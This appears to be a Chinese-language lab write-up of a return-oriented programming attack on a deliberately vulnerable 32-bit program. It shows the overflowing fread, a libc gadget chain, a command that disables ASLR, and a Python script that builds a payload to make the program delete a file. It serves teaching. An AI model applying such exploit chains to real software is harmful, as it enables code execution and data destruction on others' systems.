32位程序的ROP攻击示例

给定的程序 readelf32 存在一个漏洞(想多了,这当然不是Linux里的readelf),它读取文件内容写入到一个局部变量,但没有正确地检查文件大小。

实验中假设 ASLR 已经关闭:

1
echo 0 >/proc/sys/kernel/randomize_va_space

用 IDA Pro 反编译得到如下伪代码,其中数组的名字和大小是我自己修改的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
char head[52]; // [sp+10h] [bp-420h]@5
char body[1000]; // [sp+44h] [bp-3ECh]@5
FILE *fp; // [sp+42Ch] [bp-4h]@3

if ( argc != 2 )
usage();
fp = fopen(argv[1], "r");
if ( !fp )
usage();
fread(head, 1u, 0x34u, fp);
fread(body, 1u, 0x2710u, fp); // <- bug here!
print((int)head, body);
return 0;
}

嗯,一个明显的不能再明显的越界。我们要做的是,利用越界修改栈,使得程序执行我们想要的代码。本题中,我们想删除一个文件“data”,所以要做的事情有:

  • 系统调用:unlink("data")
  • 系统调用:exit(0)

Linux系统调用的方式如下:

  1. 设置 %eax 寄存器为系统调用号;
  2. 寄存器 %ebx%ecx%edx%esi%edi依次存放需要的参数。本次实验两个系统调用均只需一个参数。即设置 %ebx 为需要的参数;
  3. 执行 int $0x80.

unlink 系统调用号为 0xa,exit系统调用号为 0x1

对于 unlink("data") 可以拆分成如下三条 Gadgets,均能在 libc 里轻松找到:

1
2
3
pop eax ; ret
pop ebx ; ret
int 0x80 ; ret

栈中的内容依次是:

1
2
3
4
5
libc_base_addr + 0x2470F,   # pop eax ; ret
0xA, # eax = 0xA
libc_base_addr + 0x1993E, # pop ebx ; ret
0xF7F6F3CD, # ebx = ptr to "data"
libc_base_addr + 0x1CE0B0, # int 0x80 ; ret

注意,这里的 "data" 字符串恰好在libc的内存中可以找到(包含结尾的\0),那我们就不客气了,直接拿来用。如果没有怎么办?最简便的做法是,在栈里存储字符串,并用一些 MOV 和 POP 指令把这些字符写入 .data 段。参见 Ref.1

同理,可以得到 exit 系统调用应该准备的栈内容。

写了一个 Python 脚本来产生最终的 payload 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import struct

libc_base_addr = 0xF7E0F000

stack_values = [
# call unlink
libc_base_addr + 0x2470F, # pop eax ; ret
0xA, # eax = 0xA
libc_base_addr + 0x1993E, # pop ebx ; ret
0xF7F6F3CD, # ebx = ptr to "data"
libc_base_addr + 0x1CE0B0, # int 0x80 ; ret
# call exit
libc_base_addr + 0x2470F, # pop eax ; ret
0x1, # eax = 1
libc_base_addr + 0x1993E, # pop ebx ; ret
0x0, # ebx = 0
libc_base_addr + 0x1CE0B0 # int 0x80 ; ret
]

with open('payload.dat', 'wb') as f:
for i in range(0x42c):
f.write(b'\x00')
for value in stack_values:
f.write(struct.pack('<I', value))

之后运行程序看看效果:

可以看到,data 文件被删掉了。

References:

  1. Return-Oriented-Programming
  2. 使用ROP攻击技术

Helpful Links:

  1. IA32指令速查手册
  2. Online x86 / x64 Assembler and Disassembler
  3. ROPgadget Tool - Github